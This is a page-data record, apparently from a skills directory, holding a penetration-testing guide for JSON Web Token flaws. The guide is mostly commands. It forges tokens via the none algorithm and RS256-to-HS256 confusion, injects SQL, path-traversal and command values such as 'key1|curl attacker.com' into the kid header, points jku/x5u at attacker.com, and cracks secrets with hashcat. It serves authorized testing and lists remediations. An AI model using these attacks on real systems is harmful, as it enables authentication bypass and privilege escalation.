[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M73GABYK7H05RP0EZBQRVRTM":3,"skill-same:01M73GABYK7H05RP0EZBQRVRTM":90},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":16,"sourceHtmlUrl":17,"categories":18,"keywords":19,"publishedAt":20,"linkOnly":21,"markdownContent":22,"markdownBody":23,"frontMatter":24,"refName":50,"commitSha":51,"skillDirectory":52,"forksCount":53,"repositoryHtmlUrl":54,"repositoryHomepageUrl":55,"ownerHtmlUrl":56,"ownerBlogUrl":57,"ownerDescription":58,"updatedAt":59,"install":60,"resources":73},"01M73GABYK7H05RP0EZBQRVRTM","testing-for-json-web-token-vulnerabilities",null,"Test JWT implementations for critical vulnerabilities including algorithm confusion, none algorithm bypass, kid parameter injection, and weak secret exploitation to achieve authentication bypass and privilege escalation.","Horonomos-laps\u002FYana-AI","Horonomos-laps","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F355299122?v=4","01M76B3QPXE88ET2SQPDPVATZT"," Horonomos-laps","01M72ZQRJPCYPSSWT4D00VJR2A",13,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fyanacuti1121\u002FYana-AI\u002Fblob\u002Fmain\u002Fcore\u002Fskills\u002Ftesting-for-json-web-token-vulnerabilities\u002FLICENSE","https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI\u002Fblob\u002Fmain\u002Fcore\u002Fskills\u002Ftesting-for-json-web-token-vulnerabilities\u002FSKILL.md",[],[],"2026-11-11 15:11:14",false,"---\nname: testing-for-json-web-token-vulnerabilities\ndescription: Test JWT implementations for critical vulnerabilities including algorithm\n  confusion, none algorithm bypass, kid parameter injection, and weak secret exploitation\n  to achieve authentication bypass and privilege escalation.\ndomain: cybersecurity\nsubdomain: web-application-security\ntags:\n- jwt\n- json-web-token\n- algorithm-confusion\n- authentication-bypass\n- token-forgery\n- kid-injection\n- jku-attack\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- PR.PS-01\n- ID.RA-01\n- PR.DS-10\n- DE.CM-01\nmitre_attack:\n- T1190\n- T1059.007\n- T1505.003\n- T1083\n- T1068\nsource: https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\nsource_commit: 04450304b12645cb2b974ab96d28c0664758a88d\n---\n\n# Testing for JSON Web Token Vulnerabilities\n\n## When to Use\n- When testing applications using JWT for authentication and session management\n- During API security assessments where JWTs are used for authorization\n- When evaluating OAuth 2.0 or OpenID Connect implementations using JWT\n- During penetration testing of single sign-on (SSO) systems\n- When auditing JWT library configurations for known vulnerabilities\n\n## Prerequisites\n- jwt_tool (Python JWT exploitation toolkit)\n- Burp Suite with JWT Editor extension\n- jwt.io for decoding and inspecting JWT structure\n- Understanding of JWT structure (header.payload.signature) and algorithms (HS256, RS256)\n- hashcat or john for brute-forcing weak JWT secrets\n- Python PyJWT library for custom JWT forging scripts\n- Access to application using JWT-based authentication\n\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.\n\n## Workflow\n\n### Step 1 — Decode and Analyze JWT Structure\n```bash\n# Install jwt_tool\npip install pyjwt\ngit clone https:\u002F\u002Fgithub.com\u002Fticarpi\u002Fjwt_tool.git\n\n# Decode JWT without verification\npython3 jwt_tool.py \u003CJWT_TOKEN>\n\n# Decode manually with base64\necho \"\u003Cheader_base64>\" | base64 -d\necho \"\u003Cpayload_base64>\" | base64 -d\n\n# Examine JWT in jwt.io\n# Check: algorithm (alg), key ID (kid), issuer (iss), audience (aud)\n# Check: expiration (exp), not-before (nbf), claims (role, admin, etc.)\n\n# Example JWT header inspection\n# {\"alg\":\"RS256\",\"typ\":\"JWT\",\"kid\":\"key-1\"}\n# Look for: alg, kid, jku, jwk, x5u, x5c headers\n```\n\n### Step 2 — Test \"None\" Algorithm Bypass\n```bash\n# Change algorithm to \"none\" and remove signature\npython3 jwt_tool.py \u003CJWT_TOKEN> -X a\n\n# Manual none algorithm attack:\n# Original header: {\"alg\":\"HS256\",\"typ\":\"JWT\"}\n# Modified header: {\"alg\":\"none\",\"typ\":\"JWT\"}\n# Encode new header, keep payload, remove signature (empty string after last dot)\n\n# Variations to try:\n# \"alg\": \"none\"\n# \"alg\": \"None\"\n# \"alg\": \"NONE\"\n# \"alg\": \"nOnE\"\n\n# Send forged token\ncurl -H \"Authorization: Bearer \u003CFORGED_TOKEN>\" http:\u002F\u002Ftarget.com\u002Fapi\u002Fadmin\n\n# jwt_tool automated none attack\npython3 jwt_tool.py \u003CJWT_TOKEN> -X a -I -pc role -pv admin\n```\n\n### Step 3 — Test Algorithm Confusion (RS256 to HS256)\n```bash\n# If server uses RS256, attempt to switch to HS256 using public key as HMAC secret\n\n# Step 1: Obtain the public key\n# From JWKS endpoint\ncurl http:\u002F\u002Ftarget.com\u002F.well-known\u002Fjwks.json\n\n# From SSL certificate\nopenssl s_client -connect target.com:443 \u003C\u002Fdev\u002Fnull 2>\u002Fdev\u002Fnull | \\\n  openssl x509 -pubkey -noout > public_key.pem\n\n# Step 2: Forge token using public key as HMAC secret\npython3 jwt_tool.py \u003CJWT_TOKEN> -X k -pk public_key.pem\n\n# Manual algorithm confusion:\n# Change header from {\"alg\":\"RS256\"} to {\"alg\":\"HS256\"}\n# Sign with public key using HMAC-SHA256\npython3 -c \"\nimport jwt\nwith open('public_key.pem', 'r') as f:\n    public_key = f.read()\npayload = {'sub': 'admin', 'role': 'admin', 'iat': 1700000000, 'exp': 1900000000}\ntoken = jwt.encode(payload, public_key, algorithm='HS256')\nprint(token)\n\"\n```\n\n### Step 4 — Test Key ID (kid) Parameter Injection\n```bash\n# SQL Injection via kid\npython3 jwt_tool.py \u003CJWT_TOKEN> -I -hc kid -hv \"' UNION SELECT 'secret-key' FROM dual--\" \\\n  -S hs256 -p \"secret-key\"\n\n# Path Traversal via kid\npython3 jwt_tool.py \u003CJWT_TOKEN> -I -hc kid -hv \"..\u002F..\u002Fdev\u002Fnull\" \\\n  -S hs256 -p \"\"\n\n# Kid pointing to empty file (sign with empty string)\npython3 jwt_tool.py \u003CJWT_TOKEN> -I -hc kid -hv \"\u002Fdev\u002Fnull\" -S hs256 -p \"\"\n\n# SSRF via kid (if kid fetches remote key)\npython3 jwt_tool.py \u003CJWT_TOKEN> -I -hc kid -hv \"http:\u002F\u002Fattacker.com\u002Fkey\"\n\n# Command injection via kid (rare but possible)\npython3 jwt_tool.py \u003CJWT_TOKEN> -I -hc kid -hv \"key1|curl attacker.com\"\n```\n\n### Step 5 — Test JKU\u002FX5U Header Injection\n```bash\n# JKU (JSON Web Key Set URL) injection\n# Point jku to attacker-controlled JWKS\n# Step 1: Generate key pair\npython3 jwt_tool.py \u003CJWT_TOKEN> -X s\n\n# Step 2: Host JWKS on attacker server\n# jwt_tool generates jwks.json - host it at http:\u002F\u002Fattacker.com\u002F.well-known\u002Fjwks.json\n\n# Step 3: Modify JWT header to point to attacker JWKS\npython3 jwt_tool.py \u003CJWT_TOKEN> -X s -ju \"http:\u002F\u002Fattacker.com\u002F.well-known\u002Fjwks.json\"\n\n# X5U (X.509 certificate URL) injection\n# Similar to JKU but using X.509 certificate chain\npython3 jwt_tool.py \u003CJWT_TOKEN> -I -hc x5u -hv \"http:\u002F\u002Fattacker.com\u002Fcert.pem\"\n\n# Embedded JWK attack (inject key in JWT header itself)\npython3 jwt_tool.py \u003CJWT_TOKEN> -X i\n```\n\n### Step 6 — Brute-Force Weak JWT Secrets\n```bash\n# Brute-force HMAC secret with hashcat\nhashcat -a 0 -m 16500 \u003CJWT_TOKEN> \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt\n\n# Using jwt_tool wordlist attack\npython3 jwt_tool.py \u003CJWT_TOKEN> -C -d \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt\n\n# Using john the ripper\necho \"\u003CJWT_TOKEN>\" > jwt.txt\njohn jwt.txt --wordlist=\u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt --format=HMAC-SHA256\n\n# Common weak secrets to try:\n# secret, password, 123456, admin, test, key, jwt_secret\n# Also try: application name, company name, domain name\n\n# Once secret is found, forge arbitrary tokens\npython3 jwt_tool.py \u003CJWT_TOKEN> -S hs256 -p \"discovered_secret\" \\\n  -I -pc role -pv admin -pc sub -pv \"admin@target.com\"\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| Algorithm Confusion | Switching from asymmetric (RS256) to symmetric (HS256) using public key as secret |\n| None Algorithm | Setting alg to \"none\" to create unsigned tokens accepted by misconfigured servers |\n| Kid Injection | Exploiting the Key ID header parameter for SQLi, path traversal, or SSRF |\n| JKU\u002FX5U Injection | Pointing key source URLs to attacker-controlled servers for key substitution |\n| Weak Secret | HMAC secrets that can be brute-forced using dictionary attacks |\n| Claim Tampering | Modifying payload claims (role, sub, admin) after bypassing signature verification |\n| Token Replay | Reusing valid JWTs after the intended session should have expired |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| jwt_tool | Comprehensive JWT testing and exploitation toolkit |\n| JWT Editor (Burp) | Burp Suite extension for JWT manipulation and attack automation |\n| hashcat | GPU-accelerated JWT secret brute-forcing (mode 16500) |\n| john the ripper | CPU-based JWT secret cracking |\n| jwt.io | Online JWT decoder and debugger for inspection |\n| PyJWT | Python library for programmatic JWT creation and verification |\n\n## Common Scenarios\n\n1. **None Algorithm Bypass** — Change JWT algorithm to \"none\", remove signature, and forge admin tokens on servers that accept unsigned JWTs\n2. **Algorithm Confusion RCE** — Switch RS256 to HS256 using leaked public key to forge arbitrary tokens for administrative access\n3. **Kid SQL Injection** — Inject SQL payload in kid parameter to extract the signing key from the database\n4. **Weak Secret Cracking** — Brute-force HMAC-SHA256 secrets using hashcat to forge arbitrary JWTs for any user\n5. **JKU Server Spoofing** — Point JKU header to attacker-controlled JWKS endpoint to sign tokens with attacker's private key\n\n## Output Format\n\n```\n## JWT Security Assessment Report\n- **Target**: http:\u002F\u002Ftarget.com\n- **JWT Algorithm**: RS256 (claimed)\n- **JWKS Endpoint**: http:\u002F\u002Ftarget.com\u002F.well-known\u002Fjwks.json\n\n### Findings\n| # | Vulnerability | Technique | Impact | Severity |\n|---|--------------|-----------|--------|----------|\n| 1 | None algorithm accepted | alg: \"none\" | Auth bypass | Critical |\n| 2 | Algorithm confusion | RS256 -> HS256 | Token forgery | Critical |\n| 3 | Weak HMAC secret | Brute-force: \"secret123\" | Full token forgery | Critical |\n| 4 | Kid path traversal | kid: \"..\u002F..\u002Fdev\u002Fnull\" | Sign with empty key | High |\n\n### Remediation\n- Enforce algorithm whitelist in JWT verification (reject \"none\")\n- Use asymmetric algorithms (RS256\u002FES256) with proper key management\n- Implement strong, random secrets for HMAC algorithms (256+ bits)\n- Validate kid parameter against a strict allowlist\n- Ignore jku\u002Fx5u headers or validate against known endpoints\n- Set appropriate token expiration (exp) and implement token revocation\n```\n","# Testing for JSON Web Token Vulnerabilities\n\n## When to Use\n- When testing applications using JWT for authentication and session management\n- During API security assessments where JWTs are used for authorization\n- When evaluating OAuth 2.0 or OpenID Connect implementations using JWT\n- During penetration testing of single sign-on (SSO) systems\n- When auditing JWT library configurations for known vulnerabilities\n\n## Prerequisites\n- jwt_tool (Python JWT exploitation toolkit)\n- Burp Suite with JWT Editor extension\n- jwt.io for decoding and inspecting JWT structure\n- Understanding of JWT structure (header.payload.signature) and algorithms (HS256, RS256)\n- hashcat or john for brute-forcing weak JWT secrets\n- Python PyJWT library for custom JWT forging scripts\n- Access to application using JWT-based authentication\n\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.\n\n## Workflow\n\n### Step 1 — Decode and Analyze JWT Structure\n```bash\n# Install jwt_tool\npip install pyjwt\ngit clone https:\u002F\u002Fgithub.com\u002Fticarpi\u002Fjwt_tool.git\n\n# Decode JWT without verification\npython3 jwt_tool.py \u003CJWT_TOKEN>\n\n# Decode manually with base64\necho \"\u003Cheader_base64>\" | base64 -d\necho \"\u003Cpayload_base64>\" | base64 -d\n\n# Examine JWT in jwt.io\n# Check: algorithm (alg), key ID (kid), issuer (iss), audience (aud)\n# Check: expiration (exp), not-before (nbf), claims (role, admin, etc.)\n\n# Example JWT header inspection\n# {\"alg\":\"RS256\",\"typ\":\"JWT\",\"kid\":\"key-1\"}\n# Look for: alg, kid, jku, jwk, x5u, x5c headers\n```\n\n### Step 2 — Test \"None\" Algorithm Bypass\n```bash\n# Change algorithm to \"none\" and remove signature\npython3 jwt_tool.py \u003CJWT_TOKEN> -X a\n\n# Manual none algorithm attack:\n# Original header: {\"alg\":\"HS256\",\"typ\":\"JWT\"}\n# Modified header: {\"alg\":\"none\",\"typ\":\"JWT\"}\n# Encode new header, keep payload, remove signature (empty string after last dot)\n\n# Variations to try:\n# \"alg\": \"none\"\n# \"alg\": \"None\"\n# \"alg\": \"NONE\"\n# \"alg\": \"nOnE\"\n\n# Send forged token\ncurl -H \"Authorization: Bearer \u003CFORGED_TOKEN>\" http:\u002F\u002Ftarget.com\u002Fapi\u002Fadmin\n\n# jwt_tool automated none attack\npython3 jwt_tool.py \u003CJWT_TOKEN> -X a -I -pc role -pv admin\n```\n\n### Step 3 — Test Algorithm Confusion (RS256 to HS256)\n```bash\n# If server uses RS256, attempt to switch to HS256 using public key as HMAC secret\n\n# Step 1: Obtain the public key\n# From JWKS endpoint\ncurl http:\u002F\u002Ftarget.com\u002F.well-known\u002Fjwks.json\n\n# From SSL certificate\nopenssl s_client -connect target.com:443 \u003C\u002Fdev\u002Fnull 2>\u002Fdev\u002Fnull | \\\n  openssl x509 -pubkey -noout > public_key.pem\n\n# Step 2: Forge token using public key as HMAC secret\npython3 jwt_tool.py \u003CJWT_TOKEN> -X k -pk public_key.pem\n\n# Manual algorithm confusion:\n# Change header from {\"alg\":\"RS256\"} to {\"alg\":\"HS256\"}\n# Sign with public key using HMAC-SHA256\npython3 -c \"\nimport jwt\nwith open('public_key.pem', 'r') as f:\n    public_key = f.read()\npayload = {'sub': 'admin', 'role': 'admin', 'iat': 1700000000, 'exp': 1900000000}\ntoken = jwt.encode(payload, public_key, algorithm='HS256')\nprint(token)\n\"\n```\n\n### Step 4 — Test Key ID (kid) Parameter Injection\n```bash\n# SQL Injection via kid\npython3 jwt_tool.py \u003CJWT_TOKEN> -I -hc kid -hv \"' UNION SELECT 'secret-key' FROM dual--\" \\\n  -S hs256 -p \"secret-key\"\n\n# Path Traversal via kid\npython3 jwt_tool.py \u003CJWT_TOKEN> -I -hc kid -hv \"..\u002F..\u002Fdev\u002Fnull\" \\\n  -S hs256 -p \"\"\n\n# Kid pointing to empty file (sign with empty string)\npython3 jwt_tool.py \u003CJWT_TOKEN> -I -hc kid -hv \"\u002Fdev\u002Fnull\" -S hs256 -p \"\"\n\n# SSRF via kid (if kid fetches remote key)\npython3 jwt_tool.py \u003CJWT_TOKEN> -I -hc kid -hv \"http:\u002F\u002Fattacker.com\u002Fkey\"\n\n# Command injection via kid (rare but possible)\npython3 jwt_tool.py \u003CJWT_TOKEN> -I -hc kid -hv \"key1|curl attacker.com\"\n```\n\n### Step 5 — Test JKU\u002FX5U Header Injection\n```bash\n# JKU (JSON Web Key Set URL) injection\n# Point jku to attacker-controlled JWKS\n# Step 1: Generate key pair\npython3 jwt_tool.py \u003CJWT_TOKEN> -X s\n\n# Step 2: Host JWKS on attacker server\n# jwt_tool generates jwks.json - host it at http:\u002F\u002Fattacker.com\u002F.well-known\u002Fjwks.json\n\n# Step 3: Modify JWT header to point to attacker JWKS\npython3 jwt_tool.py \u003CJWT_TOKEN> -X s -ju \"http:\u002F\u002Fattacker.com\u002F.well-known\u002Fjwks.json\"\n\n# X5U (X.509 certificate URL) injection\n# Similar to JKU but using X.509 certificate chain\npython3 jwt_tool.py \u003CJWT_TOKEN> -I -hc x5u -hv \"http:\u002F\u002Fattacker.com\u002Fcert.pem\"\n\n# Embedded JWK attack (inject key in JWT header itself)\npython3 jwt_tool.py \u003CJWT_TOKEN> -X i\n```\n\n### Step 6 — Brute-Force Weak JWT Secrets\n```bash\n# Brute-force HMAC secret with hashcat\nhashcat -a 0 -m 16500 \u003CJWT_TOKEN> \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt\n\n# Using jwt_tool wordlist attack\npython3 jwt_tool.py \u003CJWT_TOKEN> -C -d \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt\n\n# Using john the ripper\necho \"\u003CJWT_TOKEN>\" > jwt.txt\njohn jwt.txt --wordlist=\u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt --format=HMAC-SHA256\n\n# Common weak secrets to try:\n# secret, password, 123456, admin, test, key, jwt_secret\n# Also try: application name, company name, domain name\n\n# Once secret is found, forge arbitrary tokens\npython3 jwt_tool.py \u003CJWT_TOKEN> -S hs256 -p \"discovered_secret\" \\\n  -I -pc role -pv admin -pc sub -pv \"admin@target.com\"\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| Algorithm Confusion | Switching from asymmetric (RS256) to symmetric (HS256) using public key as secret |\n| None Algorithm | Setting alg to \"none\" to create unsigned tokens accepted by misconfigured servers |\n| Kid Injection | Exploiting the Key ID header parameter for SQLi, path traversal, or SSRF |\n| JKU\u002FX5U Injection | Pointing key source URLs to attacker-controlled servers for key substitution |\n| Weak Secret | HMAC secrets that can be brute-forced using dictionary attacks |\n| Claim Tampering | Modifying payload claims (role, sub, admin) after bypassing signature verification |\n| Token Replay | Reusing valid JWTs after the intended session should have expired |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| jwt_tool | Comprehensive JWT testing and exploitation toolkit |\n| JWT Editor (Burp) | Burp Suite extension for JWT manipulation and attack automation |\n| hashcat | GPU-accelerated JWT secret brute-forcing (mode 16500) |\n| john the ripper | CPU-based JWT secret cracking |\n| jwt.io | Online JWT decoder and debugger for inspection |\n| PyJWT | Python library for programmatic JWT creation and verification |\n\n## Common Scenarios\n\n1. **None Algorithm Bypass** — Change JWT algorithm to \"none\", remove signature, and forge admin tokens on servers that accept unsigned JWTs\n2. **Algorithm Confusion RCE** — Switch RS256 to HS256 using leaked public key to forge arbitrary tokens for administrative access\n3. **Kid SQL Injection** — Inject SQL payload in kid parameter to extract the signing key from the database\n4. **Weak Secret Cracking** — Brute-force HMAC-SHA256 secrets using hashcat to forge arbitrary JWTs for any user\n5. **JKU Server Spoofing** — Point JKU header to attacker-controlled JWKS endpoint to sign tokens with attacker's private key\n\n## Output Format\n\n```\n## JWT Security Assessment Report\n- **Target**: http:\u002F\u002Ftarget.com\n- **JWT Algorithm**: RS256 (claimed)\n- **JWKS Endpoint**: http:\u002F\u002Ftarget.com\u002F.well-known\u002Fjwks.json\n\n### Findings\n| # | Vulnerability | Technique | Impact | Severity |\n|---|--------------|-----------|--------|----------|\n| 1 | None algorithm accepted | alg: \"none\" | Auth bypass | Critical |\n| 2 | Algorithm confusion | RS256 -> HS256 | Token forgery | Critical |\n| 3 | Weak HMAC secret | Brute-force: \"secret123\" | Full token forgery | Critical |\n| 4 | Kid path traversal | kid: \"..\u002F..\u002Fdev\u002Fnull\" | Sign with empty key | High |\n\n### Remediation\n- Enforce algorithm whitelist in JWT verification (reject \"none\")\n- Use asymmetric algorithms (RS256\u002FES256) with proper key management\n- Implement strong, random secrets for HMAC algorithms (256+ bits)\n- Validate kid parameter against a strict allowlist\n- Ignore jku\u002Fx5u headers or validate against known endpoints\n- Set appropriate token expiration (exp) and implement token revocation\n```\n",{"name":5,"tags":25,"author":33,"domain":34,"source":35,"license":15,"version":36,"nist_csf":37,"subdomain":42,"description":7,"mitre_attack":43,"source_commit":49},[26,27,28,29,30,31,32],"jwt","json-web-token","algorithm-confusion","authentication-bypass","token-forgery","kid-injection","jku-attack","mahipal","cybersecurity","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills","1.0",[38,39,40,41],"PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01","web-application-security",[44,45,46,47,48],"T1190","T1059.007","T1505.003","T1083","T1068","04450304b12645cb2b974ab96d28c0664758a88d","main","481dcd7dd2e288b9d627a2bd017db70e64e6c6fa","core\u002Fskills\u002Ftesting-for-json-web-token-vulnerabilities",1,"https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI","https:\u002F\u002Fyana.vutam.link\u002F","https:\u002F\u002Fgithub.com\u002FHoronomos-laps","https:\u002F\u002Fyana.vutam.link","An open-source governed runtime & execution environment for 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when the user asks to inspect Sentry issues or events, summarize recent production errors, or pull basic Sentry health data via the Sentry API; perform read-only queries with the bundled script and require `SENTRY_AUTH_TOKEN`.","MIT","https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fopenai--sentry--sentry\u002FSKILL.md",[],[],{"skillNo":100,"name":101,"nameZh":6,"description":102,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":103,"categories":104,"keywords":105,"publishedAt":20},"01M73DCAP83T17HY7SMGK7MGFE","ito-basket-compare","Compare Itô prediction-market baskets against a user's knowledge base, portfolio notes, financial context, watchlist, or research thesis. Use for read-only basket comparison and gap analysis without investment advice or live trading.","https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI\u002Fblob\u002Fmain\u002Fcore\u002Fskills\u002Fito-basket-compare\u002FSKILL.md",[],[],{"skillNo":107,"name":108,"nameZh":6,"description":109,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":110,"sourceHtmlUrl":111,"categories":112,"keywords":113,"publishedAt":20},"01M734CYEMZFDR3KH6SW0JP8TD","implementing-network-traffic-baselining","Build network traffic baselines from NetFlow\u002FIPFIX data using Python pandas for statistical analysis, z-score anomaly detection, and hourly\u002Fdaily traffic pattern profiling","https:\u002F\u002Fgithub.com\u002Fyanacuti1121\u002FYana-AI\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fimplementing-network-traffic-baselining\u002FLICENSE","https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fimplementing-network-traffic-baselining\u002FSKILL.md",[],[],{"skillNo":115,"name":116,"nameZh":6,"description":117,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":118,"sourceHtmlUrl":119,"categories":120,"keywords":121,"publishedAt":20},"01M73ASZ6NJRJM44Z2P84NGQ3Q","detecting-evasion-techniques-in-endpoint-logs","Detects defense evasion techniques used by adversaries in endpoint logs including log tampering, timestomping, process injection, and security tool disabling. Use when investigating suspicious endpoint behavior, building detection rules for evasion tactics, or conducting threat hunting for stealthy adversary activity. Activates for requests involving evasion detection, defense evasion analysis, log tampering detection, or MITRE ATT&CK TA0005.","https:\u002F\u002Fgithub.com\u002Fyanacuti1121\u002FYana-AI\u002Fblob\u002Fmain\u002Fcore\u002Fskills\u002Fdetecting-evasion-techniques-in-endpoint-logs\u002FLICENSE","https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI\u002Fblob\u002Fmain\u002Fcore\u002Fskills\u002Fdetecting-evasion-techniques-in-endpoint-logs\u002FSKILL.md",[],[],{"skillNo":123,"name":124,"nameZh":6,"description":125,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":126,"sourceHtmlUrl":127,"categories":128,"keywords":129,"publishedAt":20},"01M734AFNXD06Z78QRK0VKGT7Q","implementing-microsegmentation-with-guardicore","Implementing microsegmentation using Akamai Guardicore Segmentation to map application dependencies, create granular network policies, visualize east-west traffic flows, and enforce least-privilege communication between workloads across data centers and cloud.","https:\u002F\u002Fgithub.com\u002Fyanacuti1121\u002FYana-AI\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fimplementing-microsegmentation-with-guardicore\u002FLICENSE","https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fimplementing-microsegmentation-with-guardicore\u002FSKILL.md",[],[],{"skillNo":131,"name":132,"nameZh":6,"description":6,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":133,"categories":134,"keywords":135,"publishedAt":20},"01M736TK27QMCXK0DVCH25SJN5","ramdisk-tmpfs-patterns","https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Framdisk-tmpfs-patterns\u002FSKILL.md",[],[]]